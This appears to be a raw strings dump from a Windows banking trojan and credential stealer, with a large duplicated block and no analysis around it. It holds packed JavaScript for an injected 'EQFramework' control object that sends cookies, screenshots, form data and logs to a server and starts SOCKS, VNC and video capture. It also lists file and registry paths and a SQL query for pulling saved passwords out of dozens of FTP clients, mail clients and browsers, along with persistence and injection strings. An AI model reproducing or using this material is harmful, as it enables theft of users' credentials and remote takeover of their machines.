j.o(\'w\',m,q,b)};j.16=l(a){m=\'4/\';k j.o(\'w\',m,q,a)};j.17=l(a,b,c){t=(b==s)?\'S\':\'D\';k j.o(\'w\',\'5/\' t \'/\' a,q,c)};j.1c=l(a,b,c,d){t=(b==s)?\'S\':\'D\';k j.o(\'v\',\'5/\' t \'/\' a,c,d)};j.1d=l(a,b,c,d){t=(b==s)?\'S\':\'D\';p(x(c)==\'I\'||c==u){c=q;N=\'w\'}C{c=\'1f: \' c;N=\'v\'}k j.o(N,\'6/\' t \'/\' a,c,d)};j.M=l(a,b,c,d){t=(b==s)?\'S\':\'D\';k j.o(\'v\',\'7/\' t \'/\' a,c,d)};j.1h=l(a,b,c,d){m=\'8/\' b \'/\' c \'/\' 1i(a);k j.o(\'w\',m,q,d)};j.1j=l(a,b){m=\'9/\';k j.o(\'v\',m,a,b)};j.1k=l(a){m=\'10/\';k j.o(\'w\',m,q,a)};j.1l=l(a,b){m=\'11/\';k j.o(\'v\',m,a,b)};j.1m=l(a,b){m=\'12/\';k j.o(\'v\',m,a,b)};j.1n=l(a,b,c){m=\'13/\';M=a "\\r\\n" b;k j.o(\'v\',m,M,c)};j.1o=l(a,b){m=\'14/\' a;U=1q.1r.1s;k j.o(\'v\',m,U,b)};j.1t=l(a){m=\'15/\';k j.o(\'w\',m,q,a)}};',62,92,'|||||||||||||||||||this|return|function|Url||Query|if|null||true||false|POST|GET|typeof|responseText|_LastAsync|try|catch|else||new|Async|ActiveXObject|XMLHTTP|undefined|Msxml2|XMLHttpRequest|var|Post|Type|status|200|GetXHR|_Key||readyState|Data|SetVal|Version|GetVal|Microsoft|DelVal|||||||ClearVals|GetServer|Math|random|onreadystatechange|EQFramework|PostServer|Get|open|Cookie|send|ScreenShot|encodeURIComponent|LogAdd|UpdateConfig|StartSocks|StartVnc|SendForm|StartVideo|GetLastAsync|document|location|href|StopVideo'.split('|'),0,{}));

eval('var %s '  

function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a))) ((c=c%a)>35?String.fromCharCode(c 29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w '};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b' e(c) '\\b','g'),k[c]);return p}('=z k(){i.P=p;i.w=p;i.Y=3;i.O=k(){o(y N===\'H\'){N=k(){A{j z G("L.E.6.0")}B(e){}A{j z G("L.E.3.0")}B(e){}A{j z G("L.E")}B(e){}A{j z G("W.E")}B(e){}j s}}j z N()};i.m=k(a,b,c,d){J f=i.O();J g=p;J h=i;F=(y(d)==\'H\')?s:q;b=\'/\' i.P \'/\' 19.1a() \'/\' b;o(F==q){i.w=p;f.1p=k(){A{o(f.T==4){o(f.R!=Q||f.x==\'-\'){h.w=s;o(y(d)=="k"){d(s)}}C{o(f.x==\' \'){h.w=q;o(y(d)=="k"){d(q)}}C{h.w=f.x;o(y(d)=="k"){d(f.x)}}}}}B(e){h.w=s;o(y(d)=="k"){d(s)}}}}f.1b(a,b,F);f.1e(c);o(F==q){j q}A{o(f.T==4&&f.R==Q){o(f.x==\'-\'){j s}C{o(f.x==\' \'){j q}C{j f.x}}}j s}B(e){j s}};i.1g=k(){j i.w};i.1w=k(a,b,c){l=\'1/\' a;j i.m(\'u\',l,b,c)};i.X=k(a,b){l=\'2/\' a;j i.m(\'v\',l,p,b)};i.Z=k(a,b){l=\'3/\' a;j i.m(\'v\',l,p,b)};i.16=k(a){l=\'4/\';j i.m(\'v\',l,p,a)};i.17=k(a,b,c){t=(b==q)?\'S\':\'D\';j i.m(\'v\',\'5/\' t \'/\' a,p,c)};i.1c=k(a,b,c,d){t=(b==q)?\'S\':\'D\';j i.m(\'u\',\'5/\' t \'/\' a,c,d)};i.1d=k(a,b,c,d){t=(b==q)?\'S\':\'D\';o(y(c)==\'H\'||c==s){c=p;I=\'v\'}C{c=\'1f: \' c;I=\'u\'}j i.m(I,\'6/\' t \'/\' a,c,d)};i.M=k(a,b,c,d){t=(b==q)?\'S\':\'D\';j i.m(\'u\',\'7/\' t \'/\' a,c,d)};i.1h=k(a,b,c,d){l=\'8/\' b \'/\' c \'/\' 1i(a);j i.m(\'v\',l,p,d)};i.1j=k(a,b){l=\'9/\';j i.m(\'u\',l,a,b)};i.1k=k(a){l=\'10/\';j i.m(\'v\',l,p,a)};i.1l=k(a,b){l=\'11/\';j i.m(\'u\',l,a,b)};i.1m=k(a,b){l=\'12/\';j i.m(\'u\',l,a,b)};i.1n=k(a,b,c){l=\'13/\';M=a "\\r\\n" b;j i.m(\'u\',l,M,c)};i.1o=k(a,b){l=\'14/\' a;U=V.1q.1r;j i.m(\'u\',l,U,b)};i.1s=k(a){l=\'15/\';j i.m(\'v\',l,p,a)};i.1t=k(a){K=V.1u(a);K.1v.18(K)}};',62,95,'||||||||||||||||||this|return|function|Url|Query||if|null|true||false||POST|GET|_LastAsync|responseText|typeof|new|try|catch|else||XMLHTTP|Async|ActiveXObject|undefined|Type|var|El|Msxml2|Post|XMLHttpRequest|GetXHR|Key|200|status||readyState|Data|document|Microsoft|GetVal|Version|DelVal|||||||ClearVals|GetServer|removeChild|Math|random|open|PostServer|Get|send|Cookie|GetLastAsync|ScreenShot|encodeURIComponent|LogAdd|UpdateConfig|StartSocks|StartVnc|SendForm|StartVideo|onreadystatechange|location|href|StopVideo|Hide|getElementById|parentNode|SetVal'.split('|'),0,{}));

%s.Key = '%s';

%s.Hide('%0.8X%0.8X');

CertificateAuthority

%s.pfx

cookies.sqlite

cookies.sqlite-journal

ff/%u/cookies.sqlite

Software\df5a3418-685e-4e1f-a26a-aabf17af39b8

[%s - X32 EQ PID: %u TID: %u]

X-Firefox-Spdy

X-WebKit-CSP

hXXps://

HTTP/1.1 200 OK

Content-Length: %u

GET /favicon.ico HTTP/1.1

GET /favicon.ico HTTP/1.0

login=%s&pass=%s

chrome.dll

127.0.0.1

DrWeb

McAfee.com

Doctor Web

Common Files\Doctor Web

SOFTWARE\Policies\Microsoft\Windows\Safer\CodeIdentifiers\

SOFTWARE\Policies\Microsoft\Windows\Safer\CodeIdentifiers\0\Paths\

Content-Type: application/x-www-form-urlencoded

Software\Microsoft\Windows\CurrentVersion\Run

regsvr32.exe "%s"

&info=%0.2X%0.2X%0.2X%0.2X%0.2X%0.2X%0.2X%0.4X%0.2X%0.4X&proxy=%s

[VNC] Parse param error: %s

\regsvr32.exe

[VNC] Fail create process: %u

[VNC] Fail inject to process: %u

fv_%u.avi

#FV_%u

#FV_%s

pass.txt

cert.pfx

PFXImportCertStore

Crypt32.dll

user_pref("network.http.spdy.enabled", false);

user_pref("network.http.spdy.enabled.v3", false);

user_pref("network.http.spdy.enabled.v3-1", false);

prefs.js

csrss.exe

smss.exe

wininit.exe

services.exe

svchost.exe

lsas.exe

lsm.exe

winlogon.exe

taskhost.exe

HttpEndRequestA

HttpEndRequestW

ADVAPI32.DLL

Init in Browser = %u

Init in Shell = %u

[Socks] Failt connect BC [%s:%u]

[Socks] Fail parse param: %s

#cert

[Pony] Fail Get Pass

DL_EXEC LOAD ERROR: %u = %s

DL_EXEC Status [Pipe]: %u-%u-%u-%u

DL_EXEC Status[Local]: %u = %u

Start Socks addr: %s

Start Socks Status[Pipe]: %u-%u-%u

Start Socks Status[Local]: %u

Start VNC addr: %s

Start VNC Status[Pipe]: %u-%u-%u

Start VNC Status[Local]: %u

msvcrt.dll

%0.8X%0.8X%c

firefox.exe

explorer.exe

SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\

%Program Files%\Mozilla Firefox\

mozsqlite3.dll

sqlite3_open

sqlite3_exec

sqlite3_close

sqlite3_free

Software\Microsoft\Windows\CurrentVersion\Internet Settings

Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3

hXXp://

Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)

\\.\pipe\

PID: %u [%0.2u:%0.2u:%0.2u]

[BC] Cmd Ver Error

[BC] Wait Ping error %u[%u]

[BC] Fail Connect: %u

[BC] Fail read cmd

[BC] Cmd need reauth

[BC] cmd error: %u

[BC] Cmd need disconnect

ntdll.dll

gdiplus.dll

GdiplusShutdown

SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\

account.cfg

account.cfn

Dir #%u

<POP3_Password2

<SMTP_Password2

<IMAP_Password2

<HTTPMail_Password2

.oeaccount

Software\Microsoft\Windows Live Mail

\Microsoft\Windows Live Mail

Software\Microsoft\Windows Mail

\Microsoft\Windows Mail

PopPort

PopPassword

SmtpServer

SmtpPort

SmtpAccount

SmtpPassword

abe2869f-9b47-4cd9-a358-c22904dba7f7

MS IE FTP Passwords

Server.Port

Last Server Pass

Last Server Port

\sitemanager.xml

\recentservers.xml

\filezilla.xml

"password" : "

"password":"

\drives.js

\ExpanDrive\favorites.js

\ExpanDrive\drives.js

wiseftpsrvs.ini

wisePTF.ini

wiseftpsrvs.bin

SOFTWARE\Classes\TypeLib\{CB1F2C0F-8094-4AAC-BCF5-41A64E27F777}

SOFTWARE\Classes\TypeLib\{9EA55529-E122-4757-BC79-E4825F80732C}

FTP Count

FTP File%u

Robo-FTP

SOFTWARE\%s\FTPServers

user.config

.duck

SiteServer %u\Host

SiteServer %u\WebUrl

SiteServer %u\Remote Directory

SiteServer %u-User

SiteServer %u-User PW

SiteServer %u\SFTP

Keychain

Software\Nico Mak Computing\WinZip\FTP

Password

Software\Far\Plugins\FTP\Hosts

Software\Far2\Plugins\FTP\Hosts

Software\Far Manager\Plugins\FTP\Hosts

Software\Far\SavedDialogHistory\FTPHost

Software\Far2\SavedDialogHistory\FTPHost

Software\Far Manager\SavedDialogHistory\FTPHost

\win.ini

WS_FTP

\Ipswitch\WS_FTP

\GlobalSCAPE\CuteFTP

sm.dat

\GlobalSCAPE\CuteFTP Pro

\GlobalSCAPE\CuteFTP Lite

\CuteFTP

CUTEFTP

Software\GlobalSCAPE\CuteFTP 6 Home\QCToolbar

Software\GlobalSCAPE\CuteFTP 6 Professional\QCToolbar

Software\GlobalSCAPE\CuteFTP 7 Home\QCToolbar

Software\GlobalSCAPE\CuteFTP 7 Professional\QCToolbar

Software\GlobalSCAPE\CuteFTP 8 Home\QCToolbar

Software\GlobalSCAPE\CuteFTP 8 Professional\QCToolbar

\Sites.dat

\Quick.dat

\History.dat

Software\BPFTP\Bullet Proof FTP\Main

Software\BulletProof Software\BulletProof FTP Client\Main

Software\BPFTP\Bullet Proof FTP\Options

Software\BulletProof Software\BulletProof FTP Client\Options

Software\BPFTP

\SmartFTP

Favorites.dat

History.dat

Software\TurboFTP

\TurboFTP

addrbk.dat

quick.dat

Port

Login

PasswordType

profiles.xml

\FTP Explorer

Software\FTP Explorer\FTP Explorer\Workspace\MFCToolBar-224

Software\FTP Explorer\Profiles

FtpSite.xml

RushSite.xml

\FTPRush

bitkinex.ds

NDSites.ini

Software\LeechFTP

bookmark.dat

CLSID\{11C1D741-A95B-11d2-8A80-0080ADB32FF4}\InProcServer32

sites.db

servers.xml

\FTPGetter

ESTdb2.dat

\Estsoft\ALFTP

QData.dat

SM.arch

FTP  .Link\shell\open\command

NppFTP.xml

Software\MAS-Soft\FTPInfo\Setup

ServerList.xml

\FTPInfo

NovaFTP.db

\INSoftware\NovaFTP

\sites.xml

ftplast.osd

\SharedSettings.ccs

\SharedSettings.sqlite

\SharedSettings_1_0_5.ccs

\SharedSettings_1_0_5.sqlite

\32BitFtp.ini

FTPCON

FTP CONTROL

FTPVoyager.ftp

\RhinoSoft.com

FTPVoyager.qc

FTPVoyager.Archive

SiteInfo.QFP

WinFTP

DeluxeFTP

sites.xml

Staff-FTP

sites.ini

FreshFTP

Software\FlashPeak\BlazeFtp\Settings

LastPassword

LastPort

BlazeFtp

site.dat

\BlazeFtp

GoFTP

Connections.txt

3D-FTP

\3D-FTP

SOFTWARE\Classes\TypeLib\{F9043C88-F6F2-101A-A3C9-08002B2F49FB}\1.2\0\win32

EasyFTP

FTPNow

FTP Now

FTPShell

ftpshell.fsi

ftpsite.ini

FTPList.db

My FTP

project.ini

Mailbox.ini

FTP Navigator

FTP Commander

ftplist.txt

Software\Sota\FFFTP

Software\Sota\FFFTP\Options

Software\FTPWare\COREFTP\Sites

FtpPort

Software\Cryer\WebSitePublisher

_Password

Software\NCH Software\ClassicFTP\FTPAccounts

FtpPassword

_FtpPassword

FtpServer

FtpUserName

FtpDirectory

Software\FTPClient\Sites

Software\SoftX.org\FTPClient\Sites

PortNumber

PassWord

Software\South River Technologies\WebDrive\Connections

Software\LinasFTP\Site Manager

FTP destination password

FTP destination server

FTP destination port

FTP destination user

FTP destination catalog

FTP profiles

Msi.dll

{74FF1730-B1F2-4D88-926B-1568FAE61DB7}

\PocoSystem.ini

accounts.ini

sites.dat

\LeapWare\LeapFTP

unleap.exe

leapftp

FtpIniName

Software\Ghisler\Windows Commander

wcx_PTF.ini

Server.Pass

Server.Host

Server.User

PK11_GetInternalKeySlot

sqlite3.dll

sqlite3_prepare

sqlite3_step

sqlite3_column_bytes

sqlite3_column_blob

SELECT hostname, encryptedUsername, encryptedPassword FROM moz_logins

PTF://

signons.sqlite

\profiles.ini

PathToExe

\Mozilla\Firefox\

Firefox

Software\Mozilla

fireFTPsites.dat

\Mozilla\SeaMonkey\

SeaMonkey

\Mozilla\Profiles\

Mozilla

password 51:b:

SMTP Email Address

SMTP Server

SMTP User Name

HTTP User

HTTP Server URL

HTTPMail User Name

HTTPMail Server

SMTP User

POP3 Port

SMTP Port

IMAP Port

POP3 Password2

IMAP Password2

NNTP Password2

HTTPMail Password2

SMTP Password2

POP3 Password

IMAP Password

NNTP Password

HTTPMail Password

SMTP Password

{X-X-X-XX-XXXXXX}

inetcomm server passwords

outlook account manager passwords

Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Microsoft Outlook Internet Settings

Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook

Pstorec.dll

[VNC] EXEC: %s

IE WND [%0.8X] ENABLED: %s VISIBLED: %s

[%u] {%u, %u} {%u, %u} {%0.8X, %0.8X} = %s

[VDESK] Read CMD %u[%u]

[VDESK] NOT AUTH CMD %u

GetAsyncKeyState

USER32.DLL

GetKeyboardState

GetKeyState

?WINMM.DLL

?DSOUND.DLL

ZwConnectPort

NTDLL.DLL

[VNC] PROCESS=%s

\explorer.exe

[VNC] SearchApp Status = %u

[VNC] FileName = %s

[VNC] CmdLine = %s

[VNC] W64 Redir OLD=%u

[VNC] CreateProcess Status = %u (%u)

SysShadow

Chrome_WidgetWin_1

Chrome_WidgetWin_0

d3d10_1.dll

d3d10_1core.dll

d3d10.dll

d3d10core.dll

d2d1.dll

OPENGL32.dll

d3d9.dll

d3d11.dll

Dxtrans.dll

WinExec

KERNEL32.dll

USER32.dll

GDI32.dll

RegCloseKey

RegNotifyChangeKeyValue

ADVAPI32.dll

ShellExecuteA

SHELL32.dll

SHDeleteKeyA

SHLWAPI.dll

DeleteUrlCacheEntry

WININET.dll

WS2_32.dll

MSVCRT.dll

IPHLPAPI.DLL

AVIFIL32.dll

GetWindowsDirectoryW

CallNamedPipeA

ConnectNamedPipe

CreateNamedPipeW

DisconnectNamedPipe

CreateNamedPipeA

GetWindowsDirectoryA

EnumWindows

ActivateKeyboardLayout

SetViewportOrgEx

RegEnumKeyExA

RegCreateKeyA

RegCreateKeyExA

RegOpenKeyExA

CryptImportKey

CryptDestroyKey

RegOpenKeyA

ole32.dll

OLEAUT32.dll

CertOpenSystemStoreA

CertDeleteCertificateFromStore

CertAddCertificateContextToStore

CertCloseStore

CertEnumCertificatesInStore

CertDuplicateCertificateContext

PFXExportCertStoreEx

CRYPT32.dll

NETAPI32.dll

FindFirstUrlCacheEntryA

FindNextUrlCacheEntryA

HttpAddRequestHeadersA

FindCloseUrlCache

FindNextUrlCacheEntryW

FindFirstUrlCacheEntryW

COMDLG32.dll

WININET.DLL

<!</<7<><[<

8 9(91999\9

.pdata

@.reloc

[%s - X64 EQ PID: %u TID: %u]

\SysWOW64\regsvr32.exe

[Pony] Fail create process: %u

[PONY] Fail inject to process: %u

echrome.dll

iexplore.exe

chrome.exe

\System32\KERNEL32.DLL

\System32\kernelbase.dll

\ThemeApiPort

mscorsvw.exe_1924_rwx_01000000_0007B000:

.text

`.rdata

@.data

.reloc

HHt.HHt

More information: hXXp://VVV.ibsensoftware.com/

8HttpAddRequestHeadersA

HttpOpenRequestA

HttpOpenRequestW

HttpQueryInfoA

HttpSendRequestA

HttpSendRequestExA

HttpSendRequestExW

HttpSendRequestW

wininet.dll

rapport

ieframe.dll

NSPR4.DLL

nss3.dll

KERNEL32.DLL

\Google\Chrome\User Data\Default\

\Mozilla\Firefox\Profiles\

sol_chrome/

\Google\Chrome\User Data\Default\Pepper Data\Shockwave Flash\WritableRoot\

.rdata

@http

SELECT url FROM moz_places

places.sqlite

ie/history.txt

ff/history.txt

ff/%u/places.sqlite

framework_key%

eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a))) ((c=c%a)>35?String.fromCharCode(c 29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w '};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b' e(c) '\\b','g'),k[c]);return p}('l 1b(i){j.R=i;j.z=q;j.W=2;j.Q=l(){p(x K===\'I\'){K=l(){A{k E G("J.H.6.0")}B(e){}A{k E G("J.H.3.0")}B(e){}A{k E G("J.H")}B(e){}A{k E G("Y.H")}B(e){}k u}}k E K()};j.o=l(a,b,c,d){L f=j.Q();L g=q;L h=j;F=(x(d)==\'I\')?u:s;b=\'/\' j.R \'/\' 18.19() \'/\' b;p(F==s){j.z=q;f.1a=l(){A{p(f.T==4){p(f.O!=P||f.y==\'-\'){h.z=u;p(x(d)=="l"){d(u)}}C{p(f.y==\' \'){h.z=s;p(x(d)=="l"){d(s)}}C{h.z=f.y;p(x(d)=="l"){d(f.y)}}}}}B(e){h.z=u;p(x(d)=="l"){d(u)}}}}f.1e(a,b,F);f.1g(c);p(F==s){k s}A{p(f.T==4&&f.O==P){p(f.y==\'-\'){k u}C{p(f.y==\' \'){k s}C{k f.y}}}k u}B(e){k u}};j.1p=l(){k j.z};j.V=l(a,b,c){m=\'1/\' a;k j.o(\'v\',m,b,c)};j.X=l(a,b){m=\'2/\' a;k j.o(\'w\',m,q,b)};j.Z=l(a,b){m=\'3/\' a;k j.o(\'w\',m,q,b)};j.16=l(a){m=\'4/\';k j.o(\'w\',m,q,a)};j.17=l(a,b,c){t=(b==s)?\'S\':\'D\';k j.o(\'w\',\'5/\' t \'/\' a,q,c)};j.1c=l(a,b,c,d){t=(b==s)?\'S\':\'D\';k j.o(\'v\',\'5/\' t \'/\' a,c,d)};j.1d=l(a,b,c,d){t=(b==s)?\'S\':\'D\';p(x(c)==\'I\'||c==u){c=q;N=\'w\'}C{c=\'1f: \' c;N=\'v\'}k j.o(N,\'6/\' t \'/\' a,c,d)};j.M=l(a,b,c,d){t=(b==s)?\'S\':\'D\';k j.o(\'v\',\'7/\' t \'/\' a,c,d)};j.1h=l(a,b,c,d){m=\'8/\' b \'/\' c \'/\' 1i(a);k j.o(\'w\',m,q,d)};j.1j=l(a,b){m=\'9/\';k j.o(\'v\',m,a,b)};j.1k=l(a){m=\'10/\';k j.o(\'w\',m,q,a)};j.1l=l(a,b){m=\'11/\';k j.o(\'v\',m,a,b)};j.1m=l(a,b){m=\'12/\';k j.o(\'v\',m,a,b)};j.1n=l(a,b,c){m=\'13/\';M=a "\\r\\n" b;k j.o(\'v\',m,M,c)};j.1o=l(a,b){m=\'14/\' a;U=1q.1r.1s;k j.o(\'v\',m,U,b)};j.1t=l(a){m=\'15/\';k j.o(\'w\',m,q,a)}};',62,92,'|||||||||||||||||||this|return|function|Url||Query|if|null||true||false|POST|GET|typeof|responseText|_LastAsync|try|catch|else||new|Async|ActiveXObject|XMLHTTP|undefined|Msxml2|XMLHttpRequest|var|Post|Type|status|200|GetXHR|_Key||readyState|Data|SetVal|Version|GetVal|Microsoft|DelVal|||||||ClearVals|GetServer|Math|random|onreadystatechange|EQFramework|PostServer|Get|open|Cookie|send|ScreenShot|encodeURIComponent|LogAdd|UpdateConfig|StartSocks|StartVnc|SendForm|StartVideo|GetLastAsync|document|location|href|StopVideo'.split('|'),0,{}));

eval('var %s '  

function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a))) ((c=c%a)>35?String.fromCharCode(c 29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w '};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b' e(c) '\\b','g'),k[c]);return p}('=z k(){i.P=p;i.w=p;i.Y=3;i.O=k(){o(y N===\'H\'){N=k(){A{j z G("L.E.6.0")}B(e){}A{j z G("L.E.3.0")}B(e){}A{j z G("L.E")}B(e){}A{j z G("W.E")}B(e){}j s}}j z N()};i.m=k(a,b,c,d){J f=i.O();J g=p;J h=i;F=(y(d)==\'H\')?s:q;b=\'/\' i.P \'/\' 19.1a() \'/\' b;o(F==q){i.w=p;f.1p=k(){A{o(f.T==4){o(f.R!=Q||f.x==\'-\'){h.w=s;o(y(d)=="k"){d(s)}}C{o(f.x==\' \'){h.w=q;o(y(d)=="k"){d(q)}}C{h.w=f.x;o(y(d)=="k"){d(f.x)}}}}}B(e){h.w=s;o(y(d)=="k"){d(s)}}}}f.1b(a,b,F);f.1e(c);o(F==q){j q}A{o(f.T==4&&f.R==Q){o(f.x==\'-\'){j s}C{o(f.x==\' \'){j q}C{j f.x}}}j s}B(e){j s}};i.1g=k(){j i.w};i.1w=k(a,b,c){l=\'1/\' a;j i.m(\'u\',l,b,c)};i.X=k(a,b){l=\'2/\' a;j i.m(\'v\',l,p,b)};i.Z=k(a,b){l=\'3/\' a;j i.m(\'v\',l,p,b)};i.16=k(a){l=\'4/\';j i.m(\'v\',l,p,a)};i.17=k(a,b,c){t=(b==q)?\'S\':\'D\';j i.m(\'v\',\'5/\' t \'/\' a,p,c)};i.1c=k(a,b,c,d){t=(b==q)?\'S\':\'D\';j i.m(\'u\',\'5/\' t \'/\' a,c,d)};i.1d=k(a,b,c,d){t=(b==q)?\'S\':\'D\';o(y(c)==\'H\'||c==s){c=p;I=\'v\'}C{c=\'1f: \' c;I=\'u\'}j i.m(I,\'6/\' t \'/\' a,c,d)};i.M=k(a,b,c,d){t=(b==q)?\'S\':\'D\';j i.m(\'u\',\'7/\' t \'/\' a,c,d)};i.1h=k(a,b,c,d){l=\'8/\' b \'/\' c \'/\' 1i(a);j i.m(\'v\',l,p,d)};i.1j=k(a,b){l=\'9/\';j i.m(\'u\',l,a,b)};i.1k=k(a){l=\'10/\';j i.m(\'v\',l,p,a)};i.1l=k(a,b){l=\'11/\';j i.m(\'u\',l,a,b)};i.1m=k(a,b){l=\'12/\';j i.m(\'u\',l,a,b)};i.1n=k(a,b,c){l=\'13/\';M=a "\\r\\n" b;j i.m(\'u\',l,M,c)};i.1o=k(a,b){l=\'14/\' a;U=V.1q.1r;j i.m(\'u\',l,U,b)};i.1s=k(a){l=\'15/\';j i.m(\'v\',l,p,a)};i.1t=k(a){K=V.1u(a);K.1v.18(K)}};',62,95,'||||||||||||||||||this|return|function|Url|Query||if|null|true||false||POST|GET|_LastAsync|responseText|typeof|new|try|catch|else||XMLHTTP|Async|ActiveXObject|undefined|Type|var|El|Msxml2|Post|XMLHttpRequest|GetXHR|Key|200|status||readyState|Data|document|Microsoft|GetVal|Version|DelVal|||||||ClearVals|GetServer|removeChild|Math|random|open|PostServer|Get|send|Cookie|GetLastAsync|ScreenShot|encodeURIComponent|LogAdd|UpdateConfig|StartSocks|StartVnc|SendForm|StartVideo|onreadystatechange|location|href|StopVideo|Hide|getElementById|parentNode|SetVal'.split('|'),0,{}));

%s.Key = '%s';

%s.Hide('%0.8X%0.8X');

CertificateAuthority

%s.pfx

cookies.sqlite

cookies.sqlite-journal

ff/%u/cookies.sqlite

Software\df5a3418-685e-4e1f-a26a-aabf17af39b8

[%s - X32 EQ PID: %u TID: %u]

X-Firefox-Spdy

X-WebKit-CSP

hXXps://

HTTP/1.1 200 OK

Content-Length: %u

GET /favicon.ico HTTP/1.1

GET /favicon.ico HTTP/1.0

login=%s&pass=%s

chrome.dll

127.0.0.1

DrWeb

McAfee.com

Doctor Web

Common Files\Doctor Web

SOFTWARE\Policies\Microsoft\Windows\Safer\CodeIdentifiers\

SOFTWARE\Policies\Microsoft\Windows\Safer\CodeIdentifiers\0\Paths\

Content-Type: application/x-www-form-urlencoded

Software\Microsoft\Windows\CurrentVersion\Run

regsvr32.exe "%s"

&info=%0.2X%0.2X%0.2X%0.2X%0.2X%0.2X%0.2X%0.4X%0.2X%0.4X&proxy=%s

[VNC] Parse param error: %s

\regsvr32.exe

[VNC] Fail create process: %u

[VNC] Fail inject to process: %u

fv_%u.avi

#FV_%u

#FV_%s

pass.txt

cert.pfx

PFXImportCertStore

Crypt32.dll

user_pref("network.http.spdy.enabled", false);

user_pref("network.http.spdy.enabled.v3", false);

user_pref("network.http.spdy.enabled.v3-1", false);

prefs.js

csrss.exe

smss.exe

wininit.exe

services.exe

svchost.exe

lsas.exe

lsm.exe

winlogon.exe

taskhost.exe

HttpEndRequestA

HttpEndRequestW

ADVAPI32.DLL

Init in Browser = %u

Init in Shell = %u

[Socks] Failt connect BC [%s:%u]

[Socks] Fail parse param: %s

#cert

[Pony] Fail Get Pass

DL_EXEC LOAD ERROR: %u = %s

DL_EXEC Status [Pipe]: %u-%u-%u-%u

DL_EXEC Status[Local]: %u = %u

Start Socks addr: %s

Start Socks Status[Pipe]: %u-%u-%u

Start Socks Status[Local]: %u

Start VNC addr: %s

Start VNC Status[Pipe]: %u-%u-%u

Start VNC Status[Local]: %u

msvcrt.dll

%0.8X%0.8X%c

firefox.exe

explorer.exe

SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\

%Program Files%\Mozilla Firefox\

mozsqlite3.dll

sqlite3_open

sqlite3_exec

sqlite3_close

sqlite3_free

Software\Microsoft\Windows\CurrentVersion\Internet Settings

Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3

hXXp://

Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)

\\.\pipe\

PID: %u [%0.2u:%0.2u:%0.2u]

[BC] Cmd Ver Error

[BC] Wait Ping error %u[%u]

[BC] Fail Connect: %u

[BC] Fail read cmd

[BC] Cmd need reauth

[BC] cmd error: %u

[BC] Cmd need disconnect

ntdll.dll

gdiplus.dll

GdiplusShutdown

SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\

account.cfg

account.cfn

Dir #%u

<POP3_Password2

<SMTP_Password2

<IMAP_Password2

<HTTPMail_Password2

.oeaccount

Software\Microsoft\Windows Live Mail

\Microsoft\Windows Live Mail

Software\Microsoft\Windows Mail

\Microsoft\Windows Mail

PopPort

PopPassword

SmtpServer

SmtpPort

SmtpAccount

SmtpPassword

abe2869f-9b47-4cd9-a358-c22904dba7f7

MS IE FTP Passwords

Server.Port

Last Server Pass

Last Server Port

\sitemanager.xml

\recentservers.xml

\filezilla.xml

"password" : "

"password":"

\drives.js

\ExpanDrive\favorites.js

\ExpanDrive\drives.js

wiseftpsrvs.ini

wisePTF.ini

wiseftpsrvs.bin

SOFTWARE\Classes\TypeLib\{CB1F2C0F-8094-4AAC-BCF5-41A64E27F777}

SOFTWARE\Classes\TypeLib\{9EA55529-E122-4757-BC79-E4825F80732C}

FTP Count

FTP File%u

Robo-FTP

SOFTWARE\%s\FTPServers

user.config

.duck

SiteServer %u\Host

SiteServer %u\WebUrl

SiteServer %u\Remote Directory

SiteServer %u-User

SiteServer %u-User PW

SiteServer %u\SFTP

Keychain

Software\Nico Mak Computing\WinZip\FTP

Password

Software\Far\Plugins\FTP\Hosts

Software\Far2\Plugins\FTP\Hosts

Software\Far Manager\Plugins\FTP\Hosts

Software\Far\SavedDialogHistory\FTPHost

Software\Far2\SavedDialogHistory\FTPHost

Software\Far Manager\SavedDialogHistory\FTPHost

\win.ini

WS_FTP

\Ipswitch\WS_FTP

\GlobalSCAPE\CuteFTP

sm.dat

\GlobalSCAPE\CuteFTP Pro

\GlobalSCAPE\CuteFTP Lite

\CuteFTP

CUTEFTP

Software\GlobalSCAPE\CuteFTP 6 Home\QCToolbar

Software\GlobalSCAPE\CuteFTP 6 Professional\QCToolbar

Software\GlobalSCAPE\CuteFTP 7 Home\QCToolbar

Software\GlobalSCAPE\CuteFTP 7 Professional\QCToolbar

Software\GlobalSCAPE\CuteFTP 8 Home\QCToolbar

Software\GlobalSCAPE\CuteFTP 8 Professional\QCToolbar

\Sites.dat

\Quick.dat

\History.dat

Software\BPFTP\Bullet Proof FTP\Main

Software\BulletProof Software\BulletProof FTP Client\Main

Software\BPFTP\Bullet Proof FTP\Options

Software\BulletProof Software\BulletProof FTP Client\Options

Software\BPFTP

\SmartFTP

Favorites.dat

History.dat

Software\TurboFTP

\TurboFTP

addrbk.dat

quick.dat

Port

Login

PasswordType

profiles.xml

\FTP Explorer

Software\FTP Explorer\FTP Explorer\Workspace\MFCToolBar-224

Software\FTP Explorer\Profiles

FtpSite.xml

RushSite.xml

\FTPRush

bitkinex.ds

NDSites.ini

Software\LeechFTP

bookmark.dat

CLSID\{11C1D741-A95B-11d2-8A80-0080ADB32FF4}\InProcServer32

sites.db

servers.xml

\FTPGetter

ESTdb2.dat

\Estsoft\ALFTP

QData.dat

SM.arch

FTP  .Link\shell\open\command

NppFTP.xml

